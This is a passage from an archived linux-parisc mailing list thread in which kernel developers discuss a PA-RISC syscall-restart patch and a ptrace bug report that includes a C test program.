>> The register field cannot be larger than 31.  A fr or sr
>> regster can't be used in a LDO "copy" instruction.
> Independently of the instruction set, if an application
> pulls the carpet from under the kernel from a concurrent
> thread (or possibly ptrace) by forging an invalid
> instruction after the system call has started executing,
> it would be good to catch it and report it with a printk,
> rather than blindly expecting that some bits should always
> be 0.

The mask should be 0xffe0ffff.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: ptrace interface does not permit modification of syscall return
Date: Mon, 21 Dec 2015 12:55:58 -0500
Lines: 318
Approved: news@gmane.org
Message-ID: <20151221175558.GA11489@vapier.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="cT3pUeUTdOCG/Tz8"
X-Trace: ger.gmane.org 1450720576 12157 80.91.229.3 (21 Dec 2015 17:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 17:56:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 18:56:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB4gs-0001Z6-ME
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 18:56:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751630AbbLUR4B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 12:56:01 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:38904 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751609AbbLURz7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 12:55:59 -0500
Original-Received: from vapier.lan (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with SMTP id C9D6A340139
	for <linux-parisc@vger.kernel.org>; Mon, 21 Dec 2015 17:55:58 +0000 (UTC)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26273>


--cT3pUeUTdOCG/Tz8
Content-Type: multipart/mixed; boundary="vz6iKb9bTbvQNgYh"
Content-Disposition: inline


--vz6iKb9bTbvQNgYh
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline

i have a ptrace program that watches for specific syscalls and when
matched, will:
 - on entry change the syscall nr to -1 (so the kernel will skip it)
 - on exit change the return to -EPERM so the userspace sees a denial

i have this working on most arches (x86, x86_64, arm, alpha, ia64, etc...).
on parisc, the kernel (using 3.18.7 currently) appears to be wrong.  in my
tests, if i don't mess with the syscall nr, i can change the return value
fine (to EPERM or whatever).  but the syscall executed which i do not want.
if i change the syscall to -1, then i can't change the return value (so the
child sees ENOSYS), but the kernel still executes the original syscall.

i have a simple test case attached to show the issue.  the code does:
 - spawn a child with the parent tracing it
 - child will do:
  - dupe stderr to another fd
  - unlink a file named ".test.flag"
  - write a message through the new fd
  - close a magic # so the parent knows to start denying
    - should see EPERM but it sees ENOSYS
  - close the new fd
    - should see EPERM but it is closed!
  - write to the new fd
    - should work, but the fd is closed
  - call create on ".test.flag"
    - should see EPERM, but the file is created!
 - parent will do:
  - log the syscalls until child runs close(-12345)
  - the parent will then try to deny all close/creat calls
  - uses PTRACE_POKEUSER w/PT_GR20 to set syscall to -1
  - uses PTRACE_POKEUSER w/PT_GR28 to set return to -EPERM

you can run the test case by doing:
$ gcc test.c && ./a.out
-mike

--vz6iKb9bTbvQNgYh
Content-Type: text/x-c; charset=utf-8
Content-Disposition: attachment; filename="test.c"

#define _GNU_SOURCE

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <asm/offset.h>
#include <asm/ptrace.h>

static pid_t trace_pid;

static long _do_ptrace(enum __ptrace_request request, const char *srequest, void *addr, void *data)
{
	long ret;
 try_again:
	errno = 0;
	ret = ptrace(request, trace_pid, addr, data);
	if (ret == -1) {
		/* Child hasn't gotten to the next marker yet ? */
		if (errno == ESRCH) {
			int status;
			if (waitpid(trace_pid, &status, 0) == -1) {
				/* nah, it's dead ... should we whine though ? */
				_exit(0);
			}
			sched_yield();
			goto try_again;
		} else if (errno == EIO || errno == EFAULT) {
			/* This comes up when the child itself tries to use a bad pointer.
			 * That's not something the sandbox should abort on. #560396
			 */
			return ret;
		} else if (!errno)
			if (request == PTRACE_PEEKDATA ||
			    request == PTRACE_PEEKTEXT ||
			    request == PTRACE_PEEKUSER)
				return ret;

		err(1, "do_ptrace: ptrace(%s, ..., %p, %p)", srequest, addr, data);
	}
	return ret;
}
#define do_ptrace(request, addr, data) _do_ptrace(request, #request, addr, data)

static long do_peekuser(long offset)
{
	return do_ptrace(PTRACE_PEEKUSER, (void *)offset, NULL);
}

static long do_pokeuser(long offset, long val)
{
	return do_ptrace(PTRACE_POKEUSER, (void *)offset, (void *)val);
}

static void trace_child_signal(int signo, siginfo_t *info, void *context)
{
#if 0
	warnx("got sig %s(%i): code:%s(%i) status:%s(%i)",
		strsignal(signo), signo,
		"---", info->si_code,
		strsignal(info->si_status), info->si_status);
#endif

	switch (info->si_code) {
		case CLD_DUMPED:
		case CLD_KILLED:
			_exit(128 + info->si_status);

		case CLD_EXITED:
			_exit(info->si_status);

		case CLD_TRAPPED:
			switch (info->si_status) {
				case SIGSTOP:
					kill(trace_pid, SIGCONT);
				case SIGTRAP:
				case SIGCONT:
					return;
			}

			/* For whatever signal the child caught, let's ignore it and
			 * continue on.  If it aborted, segfaulted, whatever, that's
			 * its problem, not ours, so don't whine about it.  We just
			 * have to be sure to bubble it back up.  #265072
			 */
			do_ptrace(PTRACE_CONT, NULL, (void *)(long)info->si_status);
			return;
	}

	errx(1, "unhandled signal case");
}

static const char *lookup_syscall(long nr)
{
	switch (nr) {
#define X(n) case SYS_##n: return #n;
	X(access)
	X(brk)
	X(close)
	X(creat)
	X(dup)
	X(fstat64)
	X(mmap)
	X(mprotect)
	X(munmap)
	X(open)
	X(read)
	X(uname)
	X(write)
#undef X
	}
	return "";
}

void child_main(void)
{
	char test_file[] = ".test.flag";
	char msg[] = "child: you should see two of these\n";
	int fd = dup(2);

	unlink(test_file);
	write(fd, msg, sizeof(msg));

	/* Marker for the parent to watch. */
	errno = 0;
	close(-12345);
	fprintf(stderr, "child: close marker (should be EPERM): %m\n");
	errno = 0;
	close(fd);
	fprintf(stderr, "child: real close (should be EPERM): %m\n");
	errno = 0;
	write(fd, msg, sizeof(msg));
	fprintf(stderr, "child: write (should be success): %m\n");
	errno = 0;
	creat(test_file, 0660);
	fprintf(stderr, "child: creat (should be EPERM): %m\n");
	errno = 0;
	access(test_file, F_OK);
	fprintf(stderr, "child: access (should be ENOENT): %m\n");

	unlink(test_file);
	exit(0);
}

static void parent_main(void)
{
	int status;
	long nr, arg1;

	/* Wait for the child to exec. */
	while (1) {
		do_ptrace(PTRACE_SYSCALL, NULL, NULL);
		waitpid(trace_pid, &status, 0);

		unsigned event = ((unsigned)status >> 16);
		if (event == PTRACE_EVENT_EXEC) {
			warnx("parent: hit exec!");
			break;
		} else
			warnx("parent: waiting for exec; status: %#x", status);
	}

	/* Main loop. */
	bool saw_close = false;
	bool before_syscall = false;
	bool fake_syscall_ret = false;
	while (1) {
		do_ptrace(PTRACE_SYSCALL, NULL, NULL);
		waitpid(trace_pid, &status, 0);

		nr = do_peekuser(PT_GR20);
		arg1 = do_peekuser(PT_GR26);
		if (before_syscall) {
			warnx("parent: NR:%3li %s", nr, lookup_syscall(nr));
			/* Once the child hits the marker, deny all close & creat calls */
			if (nr == __NR_close || nr == __NR_creat) {
				if (saw_close || arg1 == -12345) {
					saw_close = true;
					warnx("parent: setting NR to -1");
					do_pokeuser(PT_GR20, -1);
					fake_syscall_ret = true;
				}
			}
		} else if (fake_syscall_ret) {
			warnx("parent: forcing EPERM");
			do_pokeuser(PT_GR28, -EPERM);
			fake_syscall_ret = false;
		}

		before_syscall = !before_syscall;
	}
}

int main(int argc, char *argv[])
{
	struct sigaction sa, old_sa;

	/* Child will re-exec us so the ptrace is clean for the parent. */
	if (argc > 1)
		child_main();

	/* Set up signal handler to watch for child events. */
	sa.sa_flags = SA_RESTART | SA_SIGINFO;
	sa.sa_sigaction = trace_child_signal;
	sigaction(SIGCHLD, &sa, &old_sa);

	/* Fork a child and have the parent do some early ptrace init. */
	trace_pid = fork();
	if (trace_pid == -1) {
		err(1, "fork() failed");
	} else if (trace_pid) {
		warn("parent waiting for child (pid=%i) to signal", trace_pid);
		waitpid(trace_pid, NULL, 0);
		do_ptrace(PTRACE_SETOPTIONS, NULL,
			(void *)(PTRACE_O_TRACESYSGOOD | PTRACE_O_TRACEEXEC));
		parent_main();
		errx(1, "child should have quit, as should we");
	}

	/* Have the child set itself up for tracing before execing again. */
	warnx("child setting up ...");
	sigaction(SIGCHLD, &old_sa, NULL);
	do_ptrace(PTRACE_TRACEME, NULL, NULL);
	kill(getpid(), SIGSTOP);
	execl(argv[0], argv[0], "--child", NULL);

	return 0;
}

--vz6iKb9bTbvQNgYh--

--cT3pUeUTdOCG/Tz8
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJWeD0uAAoJEEFjO5/oN/WBKAQQAM3zXZyl59wUW9Ds8w3hsKYq
9fwG45cml73fmXqviCBmGbmqoyawsUsH0AOq34wT9gsmGp7ColabwnZLipwC51NM
lV5zRslevIU2IQpizj4V+wkIu/4Hg9Qk0SR/6HzxRy6Uf9ptwhOG6dYzJ/8yansZ
VBAZYe/vhmYJMNvYcHuX5HRzdqPPAdsi2Lrh1tUq+87BEKKb54+8DfgYUieC50RT
VGAM3NnqF1GIQZMBSxWSTQGEWmDMZJfIQF1IRxVoqBubUmjBNynOOPjfKm55CEA7
+aPKgeI+GaMoGXC97M3TD6nDdmX3ylH9IUY13rFVXAYxEr1yGZ2Gi+QLDLHL8HI1
Tnth/ik4g2/U7tAf8vO5Rg6O5MpW3ALoBu6UAREzEnOND5VQRCXUO5JaLDRhJz10
0EOa7q3sUfD6KGcUvt5WiMi0afaXo/JKEDGfI0hgDv+ak+Fu6kKA4EVMItHCM9cl
2L3d5OWIVjRtea4dwNI5xPLqF1oTn2zARcBxXvo/l4RwWEOV8Gr0XFbuSXspyPf6
24IDAej46jm5azH95osmrf/5s2E4aZ0QhjR+BE9T/RfYYJxrT0kCgTc37ycBcVHS
OhZpTJ5zzqm1z6QzgYHyETAHdl0YUtl08lXEerfMFeh+81DOIVVfKSjQ5mzxcIx0
mmbokBT8onoGBmV0TKPt
=BEnT
-----END PGP SIGNATURE-----

--cT3pUeUTdOCG/Tz8--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Mon, 21 Dec 2015 20:27:23 +0000 (UTC)
Lines: 158
Approved: news@gmane.org
Message-ID: <997901782.279317.1450729643512.JavaMail.zimbra@efficios.com>
References: <20151218233034.GA24910@p100.box> <20151221091933.GA22935@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450729658 29887 80.91.229.3 (21 Dec 2015 20:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 20:27:38 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 21:27:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB73J-0001Qv-Qa
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 21:27:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751204AbbLUU13 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 15:27:29 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:47711 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750797AbbLUU12 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 15:27:28 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id CD2763403EE;
	Mon, 21 Dec 2015 20:27:28 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id uFr5_Nd98nkV; Mon, 21 Dec 2015 20:27:23 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id D131D3403F9;
	Mon, 21 Dec 2015 20:27:23 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id NcJLbedTyonu; Mon, 21 Dec 2015 20:27:23 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id A720B3403EE;
	Mon, 21 Dec 2015 20:27:23 +0000 (UTC)
In-Reply-To: <20151221091933.GA22935@p100.box>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF43 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: Fix syscall restarts (v2)
Thread-Index: gwKK1WJKWdKiwQiDRXcwWUPuQbgCRQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26274>

----- On Dec 21, 2015, at 4:19 AM, Helge Deller deller@gmx.de wrote:

> This is version 2 of the patch:
> 
> On parisc syscalls which are interrupted by signals sometimes failed to
> restart and instead returned -ENOSYS which in the worst case lead to
> userspace crashes.
> A similiar problem existed on MIPS and was fixed by commit e967ef02
> ("MIPS: Fix restart of indirect syscalls").
> 
> On parisc the current syscall restart code assumes that all syscall
> callers load the syscall number in the delay slot of the ble
> instruction. That's how it is e.g. done in the unistd.h header file:
>	ble 0x100(%sr2, %r0)
>	ldi #syscall_nr, %r20
> Because of that assumption the current code never restored %r20 before
> returning to userspace.
> 
> This assumption is at least not true for code which uses the glibc
> syscall() function, which instead uses this syntax:
>	ble 0x100(%sr2, %r0)
>	copy regX, %r20
> where regX depend on how the compiler optimizes the code and register
> usage.
> 
> This patch fixes this problem by adding code to analyze how the syscall
> number is loaded in the delay branch and - if needed - copy the syscall
> number to regX prior returning to userspace for the syscall restart.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: stable@vger.kernel.org
> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> 
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index dc1ea79..2264f68 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -435,6 +435,55 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
> int in_syscall)
> 		regs->gr[28]);
> }
> 
> +/*
> + * Check how the syscall number gets loaded into %r20 within
> + * the delay branch in userspace and adjust as needed.
> + */
> +
> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
> +{
> +	u32 opcode, source_reg;
> +	u32 __user *uaddr;
> +	int err;
> +
> +	/* Usually we don't have to restore %r20 (the system call number)
> +	 * because it gets loaded in the delay slot of the branch external
> +	 * instruction via the ldi instruction.
> +	 * In some cases a register-to-register copy instruction might have
> +	 * been used instead, in which case we need to copy the syscall
> +	 * number into the source register before returning to userspace.
> +	 */
> +
> +	/* A syscall is just a branch, so all we have to do is fiddle the
> +	 * return pointer so that the ble instruction gets executed again.
> +	 */
> +	regs->gr[31] -= 8; /* delayed branching */
> +
> +	/* Get assembler opcode of code in delay branch */
> +	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);

Is it valid to have unaligned instructions ? Does the architecture
allow it, or it's a fumble and we should pr_warn ?

> +	err = get_user(opcode, uaddr);
> +	if (err)

Should we add a pr_warn here ?

> +		return;
> +
> +	/* Check if delay branch uses "ldi int,%r20" */
> +	if ((opcode & 0xffff0000) == 0x34140000)
> +		return;	/* everything ok, just return */
> +
> +	/* Check if delay branch uses "nop" */
> +	if (opcode == INSN_NOP)
> +		return;

When we find a NOP in the delay slot, how can we be sure %r20
still holds the syscall value when we re-play the branch
instruction ? Can it be overwritten during the syscall,
either from start of syscall to here, or from here to
return to userspace ?

> +
> +	/* Check if delay branch uses "copy %rX,%r20" */
> +	if ((opcode & 0xffe0ffff) == 0x08000254) {
> +		source_reg = (opcode >> 16) & 31;
> +		regs->gr[source_reg] = regs->gr[20];

Similar question here, how can we be sure regs->gr[20]
still has the system call number at this point (not
overwritten from start of syscall to here) ?

Thanks,

Mathieu

> +		return;
> +	}
> +
> +	pr_warn("syscall restart: %s (pid %d): unexpected opcode 0x%08x\n",
> +		current->comm, task_pid_nr(current), opcode);
> +}
> +
> static inline void
> syscall_restart(struct pt_regs *regs, struct k_sigaction *ka)
> {
> @@ -457,10 +506,7 @@ syscall_restart(struct pt_regs *regs, struct k_sigaction
> *ka)
> 		}
> 		/* fallthrough */
> 	case -ERESTARTNOINTR:
> -		/* A syscall is just a branch, so all
> -		 * we have to do is fiddle the return pointer.
> -		 */
> -		regs->gr[31] -= 8; /* delayed branching */
> +		check_syscallno_in_delay_branch(regs);
> 		break;
> 	}
> }
> @@ -510,15 +556,9 @@ insert_restart_trampoline(struct pt_regs *regs)
> 	}
> 	case -ERESTARTNOHAND:
> 	case -ERESTARTSYS:
> -	case -ERESTARTNOINTR: {
> -		/* Hooray for delayed branching.  We don't
> -		 * have to restore %r20 (the system call
> -		 * number) because it gets loaded in the delay
> -		 * slot of the branch external instruction.
> -		 */
> -		regs->gr[31] -= 8;
> +	case -ERESTARTNOINTR:
> +		check_syscallno_in_delay_branch(regs);
> 		return;
> -	}
> 	default:
> 		break;
>  	}

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Mon, 21 Dec 2015 21:54:26 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <56786702.6060600@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <20151221091933.GA22935@p100.box>
 <997901782.279317.1450729643512.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450731294 23886 80.91.229.3 (21 Dec 2015 20:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 20:54:54 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 21:54:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aB7Ti-0000Ba-OL
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 21:54:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752103AbbLUUyi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 15:54:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:54966 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751424AbbLUUyg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 15:54:36 -0500
Original-Received: from [192.168.20.60] ([92.203.16.67]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MMT1y-1a6BnW2NWI-008GL0; Mon, 21 Dec 2015 21:54:28
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <997901782.279317.1450729643512.JavaMail.zimbra@efficios.com>
X-Provags-ID: V03:K0:li9b1iTyh/DgP9XOThlFZfrKBjqj2tcK+oDXHOY5kuN7HSNOJ03
 91rwS6kLIlQbT6V0ZQOI7gn0dEWrH9IF1yhgLFMbv7bWVFHR1xotI7pKX06xwK3HoAyZlUx
 99p3WVOvM05mHCU+icbZuPG/tsRTTfofFUcHhLEYGhN7snn6f88BxUk/fdGiboPgF+scYjl
 AFynPB6beiv8n9g8I7Lgg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LnE++VXfcTo=:h0L92sTuLLQsPedRZOA7cF
 1oIe25yFnjyl4TqGy69nwGJAHkWzBDaPrAzrXvTbAURvE7r35cxLrGniY750lw19Mtam0ox46
 5LNTtg3rcV6/UOC3nSdo18dApiwHrqgdeu1WRwOK0B/i1cfGC8EySkDWcI7eAXMASG5pgowiJ
 XONJAhr3kOVzusHtDqJGFj+CwixMgFRKb0g87vcFiMKN44oW2s2hnpeiCzx6am9Qd5/ZxODKA
 G8AWckitzdYzUavhEVua1MwkNXrFi61ZzxeNJfy7tnoFxZkF9x6QbFmHI724sJrzw1gRQMYsa
 98Ht7Nh28rw4sFeNF+534RnIK7056ZPDV19ciOVkhPdl7FZ1pyZfoDqZTUa/n3xAmZEtArE1C
 r6L118ZfE6RrSlngrAf8iJBB0h0kHAmPkeAyf4RAa5V9wLpWnuQ/Nvj2XaLfTvL994IiEf7zA
 xw3PbUmzgQsqD4AOZMUXSWf2Q1v01JmgOwD1Kwnt1DDsXZJxLkJvsO+p2FbhtnbRVjUmGmNjL
 ZTMuAsqKyOEuFgydoS1mLoRNvVqXEzmOGeApucZfD3H/gBCq4t+r3ReJgbtyQoNMHkZZeML6r
 IlsOu1gtYe2UDBwUhnH99mpSi8Caq8cUUl5U1ag+8B9OjGUa1CekQSZiDRCtrK6zb3RhFrOvq
 zsGgist0Rc0Xe+pY+CVlESAE258Oca2qq5HQC0MUIeN4z5FfdE0wjQPN2H3YamPsIKwgpxsIa
 7iTML1DsT8I4mNBfU0z70k2bHBVHwS48acBIrAiYlZVY5GVgLOWbhXrLxPBcSClbE7JE84rk 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26275>

On 21.12.2015 21:27, Mathieu Desnoyers wrote:
> ----- On Dec 21, 2015, at 4:19 AM, Helge Deller deller@gmx.de wrote:
> 
>> This is version 2 of the patch:
>>
>> On parisc syscalls which are interrupted by signals sometimes failed to
>> restart and instead returned -ENOSYS which in the worst case lead to
>> userspace crashes.
>> A similiar problem existed on MIPS and was fixed by commit e967ef02
>> ("MIPS: Fix restart of indirect syscalls").
>>
>> On parisc the current syscall restart code assumes that all syscall
>> callers load the syscall number in the delay slot of the ble
>> instruction. That's how it is e.g. done in the unistd.h header file:
>> 	ble 0x100(%sr2, %r0)
>> 	ldi #syscall_nr, %r20
>> Because of that assumption the current code never restored %r20 before
>> returning to userspace.
>>
>> This assumption is at least not true for code which uses the glibc
>> syscall() function, which instead uses this syntax:
>> 	ble 0x100(%sr2, %r0)
>> 	copy regX, %r20
>> where regX depend on how the compiler optimizes the code and register
>> usage.
>>
>> This patch fixes this problem by adding code to analyze how the syscall
>> number is loaded in the delay branch and - if needed - copy the syscall
>> number to regX prior returning to userspace for the syscall restart.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>> Cc: stable@vger.kernel.org
>> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>>
>> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
>> index dc1ea79..2264f68 100644
>> --- a/arch/parisc/kernel/signal.c
>> +++ b/arch/parisc/kernel/signal.c
>> @@ -435,6 +435,55 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs,
>> int in_syscall)
>> 		regs->gr[28]);
>> }
>>
>> +/*
>> + * Check how the syscall number gets loaded into %r20 within
>> + * the delay branch in userspace and adjust as needed.
>> + */
>> +
>> +static void check_syscallno_in_delay_branch(struct pt_regs *regs)
>> +{
>> +	u32 opcode, source_reg;
>> +	u32 __user *uaddr;
>> +	int err;
>> +
>> +	/* Usually we don't have to restore %r20 (the system call number)
>> +	 * because it gets loaded in the delay slot of the branch external
>> +	 * instruction via the ldi instruction.
>> +	 * In some cases a register-to-register copy instruction might have
>> +	 * been used instead, in which case we need to copy the syscall
>> +	 * number into the source register before returning to userspace.
>> +	 */
>> +
>> +	/* A syscall is just a branch, so all we have to do is fiddle the
>> +	 * return pointer so that the ble instruction gets executed again.
>> +	 */
>> +	regs->gr[31] -= 8; /* delayed branching */
>> +
>> +	/* Get assembler opcode of code in delay branch */
>> +	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);
> 
> Is it valid to have unaligned instructions ? Does the architecture
> allow it, or it's a fumble and we should pr_warn ?

How can it be unaligned? It's about u32...
And, no, unaligned instructions are not allowed (I think that at least).
 
>> +	err = get_user(opcode, uaddr);
>> +	if (err)
> 
> Should we add a pr_warn here ?

No. There is no gain to have a warning here.
 
>> +		return;
>> +
>> +	/* Check if delay branch uses "ldi int,%r20" */
>> +	if ((opcode & 0xffff0000) == 0x34140000)
>> +		return;	/* everything ok, just return */
>> +
>> +	/* Check if delay branch uses "nop" */
>> +	if (opcode == INSN_NOP)
>> +		return;
> 
> When we find a NOP in the delay slot, how can we be sure %r20
> still holds the syscall value when we re-play the branch
> instruction ? 

I looked at the code and even tested it (with your testcase actually).

> Can it be overwritten during the syscall,
> either from start of syscall to here, or from here to
> return to userspace ?

No.
 
>> +
>> +	/* Check if delay branch uses "copy %rX,%r20" */
>> +	if ((opcode & 0xffe0ffff) == 0x08000254) {
>> +		source_reg = (opcode >> 16) & 31;
>> +		regs->gr[source_reg] = regs->gr[20];
> 
> Similar question here, how can we be sure regs->gr[20]
> still has the system call number at this point (not
> overwritten from start of syscall to here) ?

Those registers are saved at entry of syscall and
restored at exit (with exception of a few registers
e.g. like r28 which is the return value of the syscall). 

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ptrace interface does not permit modification of syscall return
Date: Tue, 22 Dec 2015 22:10:56 +0100
